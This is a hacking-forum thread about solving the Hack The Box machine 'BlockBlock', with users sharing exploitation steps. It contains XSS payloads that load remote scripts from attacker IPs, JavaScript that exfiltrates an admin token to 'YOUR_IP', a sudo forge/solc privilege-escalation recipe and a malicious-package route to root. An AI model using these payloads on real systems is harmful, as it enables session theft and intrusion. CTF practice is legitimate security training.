BLOCKBLOCK - HTB
by osamy7593 - Saturday November 16, 2024 at 07:12 PM
#31
(Nov 18, 2024, 11:31 AM)olkn00b Wrote:
(Nov 18, 2024, 11:00 AM)xianling88 Wrote:
(Nov 18, 2024, 08:21 AM)Shoseathe Wrote:
(Nov 18, 2024, 07:55 AM)olkn00b Wrote:
(Nov 17, 2024, 06:30 PM)Shoseathe Wrote: You can steal the admin token like this:
fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});
And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

where you able to get this to work with an external script? or directly with xss by wrapping it in the correct tags? (img)

I used an external script for it. The request for the external script was pretty reliable but getting the admin token back needed multiple tries, like 10 or 20

<img src=x onerror="var script = document.createElement('script'); script.src = 'http://10.10.16.10/exploit.js'; document.body.appendChild(script);" />

I used this to trigger the content of yours, but didn't get admin token, where is wrong???

try this one, and spam it.

<img src=\"1\" onerror=\"this.remove(); var s=document.createElement('script'); s.src='http://10.10.xx.xx/script.js'; document.body.appendChild(s);\">

I used a similar script, but for the username when you report user in the chat window, worked in one go for me, and you need to look carefully at the data you get back...
Reply
#32
keira password can be found in the first block of blockchain, use eth_getBlockByNumber
Reply
#33
(Nov 18, 2024, 01:18 PM)Unbutton8074 Wrote: keira password can be found in the first block of blockchain, use eth_getBlockByNumber

when trying to interact i keep getting
Error: 401 {"error":"Proxy Couldn't verify token"}
Is this not using the Auth token from /api/json-rpc?
Reply
#34
(Nov 18, 2024, 11:31 AM)olkn00b Wrote:
(Nov 18, 2024, 11:00 AM)xianling88 Wrote:
(Nov 18, 2024, 08:21 AM)Shoseathe Wrote:
(Nov 18, 2024, 07:55 AM)olkn00b Wrote:
(Nov 17, 2024, 06:30 PM)Shoseathe Wrote: You can steal the admin token like this:
fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});
And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

where you able to get this to work with an external script? or directly with xss by wrapping it in the correct tags? (img)

I used an external script for it. The request for the external script was pretty reliable but getting the admin token back needed multiple tries, like 10 or 20

<img src=x onerror="var script = document.createElement('script'); script.src = 'http://10.10.16.10/exploit.js'; document.body.appendChild(script);" />

I used this to trigger the content of yours, but didn't get admin token, where is wrong???

try this one, and spam it.

<img src=\"1\" onerror=\"this.remove(); var s=document.createElement('script'); s.src='http://10.10.xx.xx/script.js'; document.body.appendChild(s);\">

Thanks man, finally works now, cool shit.
Reply
#35
(Nov 18, 2024, 01:18 PM)Unbutton8074 Wrote: keira password can be found in the first block of blockchain, use eth_getBlockByNumber


How did you decode the transaction input data, i tried a lot of online tools without any luck... :/

PS. nvm i guess that sometimes you need to first try the most simple thing...
Reply
#36
This box is not hard, it's buggy insane
Reply
#37
To escalate to paul:

Init a new project
sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline

Put your payload in e.g. /dev/shm/solc

In `/dev/shm/exploit`, build with a custom solc
sudo -u paul /home/paul/.foundry/bin/forge build --use ../solc

Last step is using pacman.
Reply
#38
(Nov 18, 2024, 04:03 AM)xianling88 Wrote: still no clue how to do this from step 1 and why is that cause my lack of knowledge and skill at blockchain and smart contract.

Just wondering how you authenticate, because I am getting that "Proxy coudn't verify token" error when trying to get the logs
Reply
#39
Phew finally rooted, the escalation to root is rather strait forward after you get paul... just create a malicious package with a post-install action and install it Wink
Reply
#40
(Nov 18, 2024, 05:30 PM)TxX Wrote:
(Nov 18, 2024, 05:03 PM)a44857437 Wrote:
(Nov 18, 2024, 04:03 AM)xianling88 Wrote: still no clue how to do this from step 1 and why is that cause my lack of knowledge and skill at blockchain and smart contract.

Just wondering how you authenticate, because I am getting that "Proxy coudn't verify token" error when trying to get the logs

            let balance = await fetch(window.origin + "/api/json-rpc", {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    "token": jwtSecret['Authorization'],
                },
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    method: "eth_getBalance",
                    params: [chatAddress, "latest"],
                    id: 1
                })
            });

thanks, is that the jwtSecret you get from /api/json-rpc as admin, right?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,189 2 hours ago
Last Post: kkkato
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 20 2,495 Yesterday, 11:06 PM
Last Post: op334
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 398 Yesterday, 10:36 PM
Last Post: op334
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 369 92,015 Yesterday, 04:10 PM
Last Post: sabbyahmed
  CBBH Write Ups hiddenhacker 22 6,229 Yesterday, 06:39 AM
Last Post: Usercomplex

Forum Jump:


 Users browsing this forum: 1 Guest(s)